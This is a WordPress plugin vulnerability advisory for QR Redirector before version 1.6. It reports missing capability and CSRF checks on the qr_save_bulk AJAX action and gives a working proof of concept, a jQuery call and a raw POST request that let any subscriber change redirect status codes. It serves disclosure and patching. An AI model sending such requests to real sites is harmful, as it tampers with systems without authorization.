WordPress Plugin Vulnerabilities
QR Redirector < 1.6 - Subscriber+ Arbitrary QR Redirect Response Status Update
Description
The plugin does not have capability and CSRF checks when saving bulk QR Redirector settings via the qr_save_bulk AJAX action, which could allow any authenticated user, such as subscriber to change the redirect response status code of arbitrary QR Redirects
Proof of Concept
jQuery.post(ajaxurl, {
qr_redirect_response: 308,
post_ids: [830],
action: "qr_save_bulk"
})
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 64
Connection: close
Cookie: [any authenticated user]
qr_redirect_response=308&post_ids%5B%5D=830&action=qr_save_bulk
Affects Plugins
Fixed in 1.6 References
CVE
Classification
Type
ACCESS CONTROLS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-10-18 (about 2 years ago)
Added
2021-10-18 (about 2 years ago)
Last Updated
2022-04-15 (about 2 years ago)
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